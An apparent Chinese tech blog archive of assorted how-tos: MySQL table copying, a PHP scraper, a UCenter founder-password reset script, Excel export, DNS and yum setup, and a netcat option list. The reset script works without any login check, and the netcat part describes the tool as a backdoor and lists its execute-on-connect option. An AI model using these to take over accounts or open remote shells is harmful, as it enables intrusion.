按月份归档:5 月 2013

MySQL复制表结构和内容到另一张表中的SQL

1.复制表结构及数据到新表

CREATE TABLE 新表
SELECT * FROM 旧表

2.只复制表结构到新表

CREATE TABLE 新表
SELECT * FROM 旧表 WHERE 1=2
即:让WHERE条件不成立.
方法二:(低版本的mysql不支持,mysql4.0.25 不支持,mysql5已经支持了)
CREATE TABLE 新表
LIKE 旧表

3.复制旧表的数据到新表(假设两个表结构一样)

INSERT INTO 新表
SELECT * FROM 旧表

4.复制旧表的数据到新表(假设两个表结构不一样)

INSERT INTO 新表(字段1,字段2,…….)
SELECT 字段1,字段2,…… FROM 旧表

php采集程序

其实,采集程序最简单的思路就是:获取页面代码——分析代码——获取需要的部分——写入数据库

对于采集程序来说,使用PHP来写的话,其实不算太好的,因为PHP并不支持多线程,对于采集来说,若没有多线程,将会是非常痛苦的一件事

不过可以使用frame等来设置同时几个页面一起采集,这样就能增加速度了,在这里我不讨论怎么多线程,我只说怎么用PHP来进行简单的采集

先确定采集目标:http://cn.jokes.yahoo.com/jok/index.html

这是雅虎的笑话栏目,我就以这个来进行讲解吧

首先分析一下网页,可以知道连接形式为:<img src=”http://cn.yimg.com/i/cn/px_ar.gif” width=5 height=12 border=0 hspace=5><a href=”http://cn.jokes.yahoo.com/07-07-/55/27lot.html” target=_blank><big>头发与智慧</big></a>

使用正则表达式将它表示出来为:/hspace=5><a href=”http://cn.jokes.yahoo.com/(.*).html” target=_blank>/isU

书写PHP代码:

代码
// 采集首页地址
$url = “<a href=\”http://cn.jokes.yahoo.com/jok/index.html\”>http://cn.jokes.yahoo.com/jok/index.html</a>”;
// 获取页面代码
$r = file_get_contents($url);
// 设置匹配正则
$preg = ‘/hspace=5><a href=”http://cn.jokes.yahoo.com/(.*).html” target=_blank>/isU’;
// 进行正则搜索
preg_match_all($preg, $r, $title);

通过上面的代码,$title[1][num]就是连接的地址了,接着分析内容页,得到内容匹配正则为:/<div id=”newscontent”>(.*)</div>/isU

继续写代码:

代码
// 计算标题数量
$count = count($title[1]);
// 通过标题数量进行内容采集
for($i=0;$i<$count;$i++) {
// 设置内容页地址
$jurl = “<a href=\”http://cn.jokes.yahoo.com/\”>http://cn.jokes.yahoo.com/</a>” . $title[1][$i] . “.html”;
// 获取内容页代码
$c = file_get_contents($jurl);
// 设置内容页匹配正则
$p = ‘/<div id=”newscontent”>(.*)</div>/isU’;
// 进行正则匹配搜索
preg_match($p, $c, $content);
// 输出标题
echo $title[1][$i] . ”
“;
// 输出内容
echo $content[$i];
}

这样,一个简单的采集工具就写出来了,其他的功能只需要再进一步的完善就可以了

完整代码:

<?php 
// 采集首页地址 
$url = "<a href=\"http://cn.jokes.yahoo.com/jok/index.html\">http://cn.jokes.yahoo.com/jok/index.html</a>"; 
// 获取页面代码 
$r = file_get_contents($url); 
// 设置匹配正则 
$preg = '/hspace=5><a href="http://cn.jokes.yahoo.com/(.*).html" class=list target=_blank>/isU'; 
// 进行正则搜索 
preg_match_all($preg, $r, $title); 
// 计算标题数量 
$count = count($title[1]); 
// 通过标题数量进行内容采集 
for($i=0;$i<$count;$i++) { 
   // 设置内容页地址 
   $jurl = "<a href=\"http://cn.jokes.yahoo.com/\">http://cn.jokes.yahoo.com/</a>" . $title[1][$i] . ".html"; 
   // 获取内容页代码 
   $c = file_get_contents($jurl); 
   // 设置内容页匹配正则 
   $p = '/<div id="newscontent">(.*)</div>/isU'; 
   // 进行正则匹配搜索 
   preg_match($p, $c, $content); 
   // 输出标题 
   echo $title[1][$i] . "
"; 
   // 输出内容 
   echo $content[$i]; 
} 
?>

 

ucenter创始人密码忘了解决方法

打开uc下面/data/config.inc.php文件

里面有

define(‘UC_FOUNDERPW’, ‘924a2bd32289075d8055e7e30261dfb1’);

define(‘UC_FOUNDERSALT’, ‘116414’);

记下116414这个值,然后

用php输出下面的一个代码

$ucfounderpw= md5(md5($ucfounderpw).$ucsalt);

其中$ucsalt就是116414(这个根据您的需要而定)

$ucfounderpw是您要设置的密码。

得到的$ucfounderpw替换

define(‘UC_FOUNDERPW’, ‘924a2bd32289075d8055e7e30261dfb1’);

这个里面的924a2bd32289075d8055e7e30261dfb1就可以了。

还有另外一种方法,将以下代码保存为PHP,传至UC根目录,运行即可

<?php

define(ROOT_DIR,dirname(__FILE__)."/");

if(!file_exists('./data/config.inc.php') || !is_writeable('./data')){

   $isucdir= 0;

   echo 'UCenter创始人密码重置工具必须放在UCenter根目录下才能正常使用.';

   exit;

}else{

   $isucdir = 1;

}

$info="";

setucadministrator();

function setucadministrator(){

global $isucdir;

global $info;

if($_POST['setucsubmit']){

   if($isucdir){

    $configfile = ROOT_DIR."./data/config.inc.php";

    $uc_password = $_POST["uc_password"];

    $salt = substr(uniqid(rand()), 0, 6);

    if(!$uc_password){

     $info = "密码不能为空";

    }else{

     $md5_uc_password = md5(md5($uc_password).$salt);

     $config = file_get_contents($configfile);

     $config = preg_replace("/define\('UC_FOUNDERSALT',\s*'.*?'\);/i", "define('UC_FOUNDERSALT', '$salt');", $config);

     $config = preg_replace("/define\('UC_FOUNDERPW',\s*'.*?'\);/i", "define('UC_FOUNDERPW', '$md5_uc_password');", $config);

     $fp = @fopen($configfile, 'w');

     @fwrite($fp, $config);

     @fclose($fp);

     $info = "UCenter创始人密码更改成功为:$uc_password";

    }

   }else{

    $info = "本程序文件放置在UCenter跟目录,才能通过程序修改UCenter创始人管理员的密码<br />";

   }

}

templates("setucadministrator");

}

function errorpage($message,$title = '',$isheader = 1,$isfooter = 1){

   $message = "<h4>$title</h4><br><br><table><tr><th>提示信息</th></tr><tr><td>$message</td></tr></table>";

   echo $message;

   exit;

}

function templates($tpl){

switch ($tpl){

   case "header":

    echo '<html>

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

    <title>UCenter 创始人密码更改工具</title>

    <style type="text/css">

    <!--

    body {font-family: Arial, Helvetica, sans-serif, "宋体";font-size: 12px;color:#000;line-height: 120%;padding:0;margin:0;background:#DDE0FF;overflow-x:hidden;word-break:break-all;white-space:normal;scrollbar-3d-light-color:#606BFF;scrollbar-highlight-color:#E3 EFF9;scrollbar-face-color:#CEE3F4;scrollbar-arrow-color:#509AD8;scrollbar-shadow-color:#F0F1FF;scrollbar-base-color:#CEE3F4;}

    a:hover {color:#60F;}

    ul {padding:2px 0 10px 0;margin:0;}

    textarea,table,td,th,select{border:1px solid #868CFF;border-collapse:collapse;}

    input{margin:10px 0 0px 30px;border-width:1px;border-style:solid;border-color:#FFF #64A7DD #64A7DD #FFF;padding:2px 8px;background:#E3EFF9;}

     input.radio,input.checkbox,input.textinput,input.specialsubmit {margin:0;padding:0;border:0;padding:0;background:none;}

    input.textinput,input.specialsubmit {border:1px solid #AFD2ED;background:#FFF;height:24px;}

    input.textinput {padding:4px 0;}     input.specialsubmit {border-color:#FFF #64A7DD #64A7DD #FFF;background:#E3EFF9;padding:0 5px;}

    option {background:#FFF;}

    select {background:#F0F1FF;}

    #header {height:60px;width:100%;padding:0;margin:0;}

      h2 {font-size:24px;font-weight:bold;position:absolute;top:24px;left:20px;padding:10px;margin:0;}

      h3 {font-size:14px;position:absolute;top:28px;right:20px;padding:10px;margin:0;}

    #content {height:510px;background:#F0F1FF;overflow-x:hidden;z-index:1000;}

      #nav {top:60px;left:0;height:510px;width:180px;border-right:1px solid #DDE0FF;position:absolute;z-index:2000;}

          #nav ul {padding:0 10px;padding-top:30px;}

          #nav li {list-style:none;}

          #nav li a {font-size:14px;line-height:180%;font-weight:400;color:#000;}

          #nav li a:hover {color:#60F;}

      #textcontent {padding-left:200px;height:510px;width:100%;line-height:160%;overflow-y:auto;overflow-x:hidden;}

       h4,h5,h6 {padding:4px;font-size:16px;font-weight:bold;margin-top:20px;margin-bottom:5px;color:#006;}

     h5,h6 {font-size:14px;color:#000;}

     h6 {color:#F00;padding-top:5px;margin-top:0;}

     .specialdiv {width:70%;border:1px dashed #C8CCFF;padding:0 5px;margin-top:20px;background:#F9F9FF;}

     #textcontent ul {margin-left:30px;}

     textarea {width:78%;height:320px;text-align:left;border-color:#AFD2ED;}

     select {border-color:#AFD2ED;}

     table {width:74%;font-size:12px;margin-left:18px;margin-top:10px;}

        table.specialtable,table.specialtable td {border:0;}

      td,th {padding:5px;text-align:left;}

        caption {font-weight:bold;padding:8px 0;color:#3544FF;text-align:left;}

        th {background:#D9DCFF;font-weight:600;}

      td.specialtd {text-align:left;}

     .specialtext {background:#FCFBFF;margin-top:20px;padding:5px 40px;width:64.5%;margin-bottom:10px;color:#006;}

    #footer p {padding:0 5px;text-align:center;}

    -->

    </style>

    </head>

    <body>

    <div id="content">

    <div id="textcontent">';

    break;

   case "footer":

    echo '

      </div></div>

      <div id="footer"><p>UCenter 创始人密码更改工具 &nbsp;

      版权所有 &copy;2001-2007 <a href="http://www.comsenz.com" style="color: #888888; text-decoration: none">

      康盛创想(北京)科技有限公司 Comsenz Inc.</a></font></td></tr><tr style="font-size: 0px; line-height: 0px; spacing: 0px; padding: 0px; background-color: #698CC3">

      </p></div>

      </body>

      </html>';

    exit;

    break;

   case "setucadministrator":

    templates("header");

    if(!empty($_POST['setucsubmit'])){

     echo "<h5>UCenter 创始人密码更改工具</h5><h5> <font color=red>使用完毕后请及时删除本文件,以免给您造成不必要的损失</font></h5>";

     echo '<form action="?action=setadmin" method="post"><input type="hidden" name="action" value="login" />';

     global $info;

     errorpage($info,'',0,0);

     echo '</form>';

    }else{

     echo '<form action="?action=setucadministrator" method="post">

     <h5>UCenter 创始人密码更改工具</h5>

     <h5> <font color=red>使用完毕后请及时删除本文件,以免给您造成不必要的损失</font></h5>

     <table>

     <tr><th width="30%">用户名</th><td width="70%"><input class="textinput" readonly="readonly" disabled type="text" name="username" size="25" maxlength="40" value="UCenter Administrator"></td></tr>

     <tr><th width="30%">请输入密码</th><td width="70%"><input class="textinput" type="text" name="uc_password" size="25"></td></tr>

     </table>

     <input type="submit" name="setucsubmit" value="提 &nbsp; 交">

     </form>';

    }

    templates("footer");

    break;

}

}

?>

 

JS实现div左右自动滚动(可设置滚动高度,速度,停留时间)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
<html xmlns="http://www.w3.org/1999/xhtml";>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>JS实现div自动滚动</title>
<style>
.ylp-show div{height:20px;}
</style>
</head>
<body>
<div id="show" style="overflow:hidden;height:40px;" class="ylp-show">  
    <div>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1</div>
    <div>bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb2</div>
    <div>ccccccccccccccccccccccccccccccccccccccccccccc3</div>
    <div>ddddddddddddddddddddddddddddddddddddddddddddd4</div>
    <div>eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee5</div>
    <div>fffffffffffffffffffffffffffffffffffffffffffff6</div>
    <div>ggggggggggggggggggggggggggggggggggggggggggggg7</div>
</div>  
<script>  
function startmarquee(lh,speed,delay){    
     var t;    
    var oHeight = 210; /**//** div的高度 **/  
    var p=false;  
    var o=document.getElementById("show");    
     var preTop = 0;  
    o.scrollTop = 0;    
    function start(){    
       t=setInterval(scrolling,speed);    
        o.scrollTop += 1;    
    }    
    function scrolling(){    
        if(o.scrollTop%lh!=0 && o.scrollTop%(o.scrollHeight-oHeight-1)!=0){  
            preTop = o.scrollTop;  
           o.scrollTop+=1;  
            if(preTop >= o.scrollHeight || preTop==o.scrollTop){  
                o.scrollTop = 0;  
            }  
        }else{  
           clearInterval(t);    
           setTimeout(start,delay);    
       }  
    }    
    setTimeout(start,delay);    
}    
startmarquee(20,20,1500);    
/**//**startmarquee(一次滚动高度,速度,停留时间);**/    
</script>  
</body>
</html>

 

PHP导入导出Excel方法小结

基本上导出的文件分为两种:
1:类Excel格式,这个其实不是传统意义上的Excel文件,只是因为Excel的兼容能力强,能够正确打开而已。修改这种文件后再保存,通常会提示你是否要转换成Excel文件。
优点:简单。
缺点:难以生成格式,如果用来导入需要自己分别编写相应的程序。
2:Excel格式,与类Excel相对应,这种方法生成的文件更接近于真正的Excel格式。

如果导出中文时出现乱码,可以尝试将字符串转换成gb2312,例如下面就把$yourStr从utf-8转换成了gb2312:
$yourStr = mb_convert_encoding(“gb2312”, “UTF-8”, $yourStr);

下面详细列举几种方法。
一、PHP导出Excel

1:第一推荐无比风骚的PHPExcel,官方网站:http://www.codeplex.com/PHPExcel
导入导出都成,可以导出office2007格式,同时兼容2003。
下载下来的包中有文档和例子,大家可以自行研究。
抄段例子出来:
<?php
/**
* PHPExcel
*
* Copyright (C) 2006 – 2007 PHPExcel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category   PHPExcel
* @package    PHPExcel
* @copyright Copyright (c) 2006 – 2007 PHPExcel (http://www.codeplex.com/PHPExcel)
* @license    http://www.gnu.org/licenses/lgpl.txt    LGPL
* @version    1.5.0, 2007-10-23
*/

/** Error reporting */
error_reporting(E_ALL);

/** Include path **/
set_include_path(get_include_path() . PATH_SEPARATOR . ‘../Classes/’);

/** PHPExcel */
include ‘PHPExcel.php’;

/** PHPExcel_Writer_Excel2007 */
include ‘PHPExcel/Writer/Excel2007.php’;

// Create new PHPExcel object
echo date(‘H:i:s’) . ” Create new PHPExcel objectn”;
$objPHPExcel = new PHPExcel();

// Set properties
echo date(‘H:i:s’) . ” Set propertiesn”;
$objPHPExcel->getProperties()->setCreator(“Maarten Balliauw”);
$objPHPExcel->getProperties()->setLastModifiedBy(“Maarten Balliauw”);
$objPHPExcel->getProperties()->setTitle(“Office 2007 XLSX Test Document”);
$objPHPExcel->getProperties()->setSubject(“Office 2007 XLSX Test Document”);
$objPHPExcel->getProperties()->setDescrīption(“Test document for Office 2007 XLSX, generated using php classes.”);
$objPHPExcel->getProperties()->setKeywords(“office 2007 openxml php”);
$objPHPExcel->getProperties()->setCategory(“Test result file”);

// Add some data
echo date(‘H:i:s’) . ” Add some datan”;
$objPHPExcel->setActiveSheetIndex(0);
$objPHPExcel->getActiveSheet()->setCellValue(‘A1’, ‘Hello’);
$objPHPExcel->getActiveSheet()->setCellValue(‘B2’, ‘world!’);
$objPHPExcel->getActiveSheet()->setCellValue(‘C1’, ‘Hello’);
$objPHPExcel->getActiveSheet()->setCellValue(‘D2’, ‘world!’);

// Rename sheet
echo date(‘H:i:s’) . ” Rename sheetn”;
$objPHPExcel->getActiveSheet()->setTitle(‘Simple’);

// Set active sheet index to the first sheet, so Excel opens this as the first sheet
$objPHPExcel->setActiveSheetIndex(0);

// Save Excel 2007 file
echo date(‘H:i:s’) . ” Write to Excel2007 formatn”;
$objWriter = new PHPExcel_Writer_Excel2007($objPHPExcel);
$objWriter->save(str_replace(‘.php’, ‘.xlsx’, __FILE__));

// Echo done
echo date(‘H:i:s’) . ” Done writing file.rn”;

2、使用pear的Spreadsheet_Excel_Writer类
下载地址:http://pear.php.net/package/Spreadsheet_Excel_Writer
此类依赖于OLE,下载地址:http://pear.php.net/package/OLE
需要注意的是导出的Excel文件格式比较老,修改后保存会提示是否转换成更新的格式。
不过可以设定格式,很强大。
<?php
require_once ‘Spreadsheet/Excel/Writer.php’;

// Creating a workbook
$workbook = new Spreadsheet_Excel_Writer();

// sending HTTP headers
$workbook->send(‘test.xls’);

// Creating a worksheet
$worksheet =& $workbook->addWorksheet(‘My first worksheet’);

// The actual data
$worksheet->write(0, 0, ‘Name’);
$worksheet->write(0, 1, ‘Age’);
$worksheet->write(1, 0, ‘John Smith’);
$worksheet->write(1, 1, 30);
$worksheet->write(2, 0, ‘Johann Schmidt’);
$worksheet->write(2, 1, 31);
$worksheet->write(3, 0, ‘Juan Herrera’);
$worksheet->write(3, 1, 32);

// Let’s send the file
$workbook->close();
?>

3:利用smarty,生成符合Excel规范的XML或HTML文件
支持格式,非常完美的导出方案。不过导出来的的本质上还是XML文件,如果用来导入就需要另外处理了。
详细内容请见rardge大侠的帖子:http://bbs.chinaunix.net/viewthread.php?tid=745757

需要注意的是如果导出的表格行数不确定时,最好在模板中把”ss:ExpandedColumnCount=”5″ ss:ExpandedRowCount=”21″”之类的东西删掉。

4、利用pack函数打印出模拟Excel格式的断句符号,这种更接近于Excel标准格式,用office2003修改后保存,还不会弹出提示,推荐用这种方法。
缺点是无格式。
<?php
// Send Header
header(“Pragma: public”);
header(“Expires: 0”);
header(“Cache-Control: must-revalidate, post-check=0, pre-check=0”);
header(“Content-Type: application/force-download”);
header(“Content-Type: application/octet-stream”);
header(“Content-Type: application/download”);;
header(“Content-Disposition: attachment;filename=test.xls “);
header(“Content-Transfer-Encoding: binary “);
// XLS Data Cell

xlsBOF();
xlsWriteLabel(1,0,”My excel line one”);
xlsWriteLabel(2,0,”My excel line two : “);
xlsWriteLabel(2,1,”Hello everybody”);

xlsEOF();

function xlsBOF() {
echo pack(“ssssss”, 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}
function xlsEOF() {
echo pack(“ss”, 0x0A, 0x00);
return;
}
function xlsWriteNumber($Row, $Col, $Value) {
echo pack(“sssss”, 0x203, 14, $Row, $Col, 0x0);
echo pack(“d”, $Value);
return;
}
function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack(“ssssss”, 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}
?>
不过笔者在64位linux系统中使用时失败了,断句符号全部变成了乱码。

5、使用制表符、换行符的方法
制表符”t”用户分割同一行中的列,换行符”tn”可以开启下一行。
<?php
header(“Content-Type: application/vnd.ms-execl”);
header(“Content-Disposition: attachment; filename=myExcel.xls”);
header(“Pragma: no-cache”);
header(“Expires: 0”);
/*first line*/
echo “hello”.”t”;
echo “world”.”t”;
echo “tn”;

/*start of second line*/
echo “this is second line”.”t”;
echo “Hi,pretty girl”.”t”;
echo “tn”;
?>

6、使用com
如果你的PHP可以开启com模块,就可以用它来导出Excel文件
<?PHP
$filename = “c:/spreadhseet/test.xls”;
$sheet1 = 1;
$sheet2 = “sheet2”;
$excel_app = new COM(“Excel.application”) or Die (“Did not connect”);
print “Application name: {$excel_app->Application->value}n” ;
print “Loaded version: {$excel_app->Application->version}n”;
$Workbook = $excel_app->Workbooks->Open(“$filename”) or Die(“Did not open $filename $Workbook”);
$Worksheet = $Workbook->Worksheets($sheet1);
$Worksheet->activate;
$excel_cell = $Worksheet->Range(“C4”);
$excel_cell->activate;
$excel_result = $excel_cell->value;
print “$excel_resultn”;
$Worksheet = $Workbook->Worksheets($sheet2);
$Worksheet->activate;
$excel_cell = $Worksheet->Range(“C4”);
$excel_cell->activate;
$excel_result = $excel_cell->value;
print “$excel_resultn”;
#To close all instances of excel:
$Workbook->Close;
unset($Worksheet);
unset($Workbook);
$excel_app->Workbooks->Close();
$excel_app->Quit();
unset($excel_app);
?>

7、可以添加图片到 EXcel

Add a drawing to a worksheet
A drawing is always represented as a separate object, which can be added to a worksheet. Therefore, you must first instantiate a new PHPExcel_Worksheet_Drawing, and assign its properties a meaningful value:
$objDrawing = new PHPExcel_Worksheet_Drawing();
$objDrawing->setName(‘Logo’);
$objDrawing->setDescription(‘Logo’);
$objDrawing->setPath(‘./images/officelogo.jpg’);
$objDrawing->setHeight(36);

To add the above drawing to the worksheet, use the following snippet of code. PHPExcel creates the link between the drawing and the worksheet:
$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());

You can set numerous properties on a drawing, here are some examples:
$objDrawing->setName(‘Paid’);
$objDrawing->setDescription(‘Paid’);
$objDrawing->setPath(‘./images/paid.png’);
$objDrawing->setCoordinates(‘B15’);
$objDrawing->setOffsetX(110);
$objDrawing->setRotation(25);
$objDrawing->getShadow()->setVisible(true);
$objDrawing->getShadow()->setDirection(45);

Linux下配置DNS

1 所需配置文件:

/etc/named.conf 系统自带,需要配置
/etc/resolv.conf 系统自带,需要配置
/var/named/myqmail.com.db 系统没有,自已创建
/var/named/db.192.168.0.198 系统没有,自已创建
/var/named/named.local 系统自带,不需要修改
/var/named/named.ca 系统自带,不需要修改

2 相关工具

nslookup
说明:检测DNS是否配置正确的工具,系统自带。

3 配置方案

3.1 /etc/named.conf

说明:DNS主配置文件,定义了域数据库信息的基本参数和源点,该文件可以存放在本地或远程的服务器上。源文件:

// generated by named-bootconf.pl

options {
directory “/var/named”;
/*
* If there is a firewall between you and nameservers you want
* to talk to, you might need to uncomment the query-source
* directive below. Previous versions of BIND always asked
* questions using port 53, but BIND 8.1 uses an unprivileged
* port by default.
*/
// query-source address * port 53;
};

//
// a caching only nameserver config
//
controls {
inet 127.0.0.1 allow { localhost; } keys { rndckey; };
};
zone “.” IN {
type hint;
file “named.ca”;
};

zone “localhost” IN {
type master;
file “localhost.zone”;
allow-update { none; };
};

zone “0.0.127.in-addr.arpa” IN {
type master;
file “named.local”;
allow-update { none; };
};
zone “myqmail.com” IN {
type master;
file “myqmail.com.db”;
allow-update { none;};
};
zone “0.168.192.in-addr.arpa” IN{
type master;
file “db.192.168.0.198”;
allow-update { none;};
};

include “/etc/rndc.key”;

3.2 /var/named/myqmail.com.db

说明:正向解析配置文件,即实现域名到IP的对应。源文件:

$TTL 86400
@ IN SOA www.myqmail.com. myqmail.com. (
2002103000 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum
IN NS www.myqmail.com.
localhost IN A 127.0.0.1
www IN A 192.168.0.198

3.3 /var/named/db.192.168.0.198

说明:DNS反向解析配置文件,即实现IP地址很域名的映射。源文件:

$TTL 86400
@ IN SOA www.myqmail.com. myqmail.com. (
2002103000 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum
IN NS www.myqmail.com.
198 IN PTR www.myqmail.com.

3.4 /etc/resolv.conf

说明:指定域名服务器的IP和搜索顺序。源文件:

search myqmail.com
nameserver 192.168.0.198

4 测试及管理办法

4.1 测试方法

1. 修改完DNS的配置文件,需要执行/etc/rc.d/init.d/named restart来使更改生效。

2. nslookup:测试正向、反向的解析是否正常

Linux下的yum命令详解

yum是干什么的
使用redhat,fedora的linuxer肯定都为rpm著名的dependency hell而头疼(这也是所有基于rpm发行版都有的问题)。foo is needed by bar,bar is needed by foo。要装卸个软件,还得辛辛苦苦地梳理清楚所有依赖性问题,rpm的几个搜索站点成了时常光顾的场所,如果不幸碰到循环依赖,那就只有干瞪眼的分了。 有时加个–nodeps参数,倒是眼不见,心不烦,但这样装上的软件,你能保证正常使用吗,这样卸载软件,你能保证不影响其它软件工作吗,恐怕谁也不能 给出肯定的答案。每到这时,帽子们只有看着debian的 apt暗自羡慕了。好在,这些都已经成为过去时了。基于rpm的发行版现在也有了像apt那样自 动解决依赖关系的包管理工具了。其中一个著名的就是apt4rpm,这基本上是debian系统apt的在rpm发行版的移植。但是使用Redhat和 Fedora的linuxer你们知道吗,还有一个与apt功能类似的rpm包管理系统,那就是yum。Fedora系统已经自带,Redhat也有相应 的rpm下载。与apt相比,yum的功能一点也不弱,甚至还有许多胜过apt 之处。比如说,yum是Fedora系统自带的,因此它能使用fedora官方的软件源,完成各种官方发布>的各种升级。对于第三方软件源的支持,yum也 不差,大多数支持apt的repository注,也能支持yum,比如说freshrpms,fedora.us,livna等等。此外yum有一个比较 详细的log,可以查看何时升级安装了什么软件包等。yum的代码较apt更为精简等。
一. yum是什么
yum = Yellow dog Updater, Modified主要功能是更方便的添加/删除/更新RPM包.它能自动解决包的倚赖性问题.
它能便于管理大量系统的更新问题
注:为什么要使用yum而不用apt,最简单的原因,Fedora自带
二. yum特点
*可以同时配置多个资源库(Repository)
*简洁的配置文件(/etc/yum.conf)
*自动解决增加或删除rpm包时遇到的倚赖性问题
*使用方便
*保持与RPM数据库的一致性
三. yum安装
Fedora自带
#rpm -ivh yum-2.0.4-2.noarch.rpm
四. yum配置
注:修改和增加配置文件中的资源库,加快下载速度和拥有更多可更新的rpm包将/etc/yum.conf的内容全部替换为

[m]
cachedir=/var/cache/yum
debuglevel=2
logfile=/var/log/yum.log
pkgpolicy=newest
distroverpkg=fedora-release
tolerant=1
exactarch=1
[fedora-us-1]
name=Fedora Core 1 — Fedora US mirror
baseurl=ftp://mirrors.kernel.org/fedora.us/fedora/fedora/1/i386/yum/os
[fedora-us-1-updates]
name=Fedora Core 1 updates — Fedora US mirror
baseurl=ftp://mirrors.kernel.org/fedora.us/fedora/fedora/1/i386/yum/updates
[fedora-us-1-stable]
name=Fedora Linux (stable) for Fedora Core 1 — Fedora US mirror
baseurl=ftp://mirrors.kernel.org/fedora.us/fedora/fedora/1/i386/yum/stable
[freshrpms]
name=Fedora Linux $releasever – $basearch – freshrpms
baseurl=http://ayo.freshrpms.net/fedora/linux/$releasever/$basearch/freshrpms
五. yum应用
注:当第一次使用yum或yum资源库有更新时,yum会自动下载所有所需的headers放置于/var/cache/yum目录下,所需时间可能较长.
检查有哪些可更新的rpm包
#yum check-update
安装rpm包,使xmms可以播放mp3
#yum install xmms-mp3
安装mplayer,同时自动安装相关的软件
#yum install mplayer
删除licq包,同时删除与该包有倚赖性的包
#yum remove licq
注:同时会提示删除licq-gnome,licq-qt,licq-text,非常方便
系统更新(更新所有可以升级的rpm包,包括kernel)
#yum -y update
每天定期执行系统更新
#chkconfig yum on
#service yum start
六. yum指令详解
*rpm包的更新
检查可更新的rpm包
#yum check-update
更新所有的rpm包
#yum update
更新指定的rpm包,如更新kernel和kernel source
#yum update kernel kernel-source
大规模的版本升级,与yum update不同的是,连旧的淘汰的包也升级
#yum upgrade
*rpm包的安装和删除
安装rpm包,如xmms-mp3
#yum install xmms-mp3
删除rpm包,包括与该包有倚赖性的包
#yum remove licq
注:同时会提示删除licq-gnome,licq-qt,licq-text
*yum暂存(/var/cache/yum/)的相关参数
清除暂存中rpm包文件
#yum clean packages
清除暂存中rpm头文件
#yum clean headers
清除暂存中旧的rpm头文件
#yum clean oldheaders
清除暂存中旧的rpm头文件和包文件
#yum clean或#yum clean all
注:相当于yum clean packages + yum clean oldheaders
*rpm包列表
列出资源库中所有可以安装或更新的rpm包
#yum list
列出资源库中特定的可以安装或更新以及已经安装的rpm包
#yum list mozilla
#yum list mozilla*
注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包
列出资源库中所有可以更新的rpm包
#yum list updates
列出已经安装的所有的rpm包
#yum list installed
列出已经安装的但是不包含在资源库中的rpm包
#yum list extras
注:通过其它网站下载安装的rpm包
*rpm包信息显示(info参数同list)
列出资源库中所有可以安装或更新的rpm包的信息
#yum info
列出资源库中特定的可以安装或更新以及已经安装的rpm包的信息
#yum info mozilla
#yum info mozilla*
注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包的信息
列出资源库中所有可以更新的rpm包的信息
#yum info updates
列出已经安装的所有的rpm包的信息
#yum info installed
列出已经安装的但是不包含在资源库中的rpm包的信息
#yum info extras
注:通过其它网站下载安装的rpm包的信息
*搜索rpm包
搜索匹配特定字符的rpm包
#yum search mozilla
注:在rpm包名,包描述等中搜索
搜索有包含特定文件名的rpm包
#yum provides realplay
七. 安全的更新freshrpms.net的rpm包
安装freshrpms.net的GPG key #rpm –import http://freshrpms.net/packages/RPM-GPG-KEY.txt
编辑/etc/yum.conf,增加以下信息到尾部
[freshrpms]
name=Fedora Linux $releasever – $basearch – freshrpms
baseurl=http://ayo.freshrpms.net/fedora/linux/$releasever/$basearch/freshrpms
gpgcheck=1
注:
检查GPG Key
# rpm -qa gpg-pubkey*
显示Key信息
#rpm -qi gpg-pubkey-e42d547b-3960bdf1
删除Key
#rpm -e gpg-pubkey-e42d547b-3960bdf1

瑞士军刀nc.exe说明及使用

netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧……

一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,

能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几

乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译

后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,

有此功能的原版NC好象要60KB:P),虽然”体积”小,但很完成很多工作。

=====================================================================================================

软件介绍:

工具名:Netcat

作者:Hobbit && Chris Wysopal

网址:http://www.atstake.com/research/tools/network_utilities/

类别:开放源码

平台:Linux/BSD/Unix/Windows

WINDOWS下版本号:[v1.10 NT]

=====================================================================================================

参数介绍:

‘nc.exe -h’即可看到各参数的使用方法。

基本格式:nc [-options] hostname port[s] [ports] …

nc -l -p port [options] [hostname] [port]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, …

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

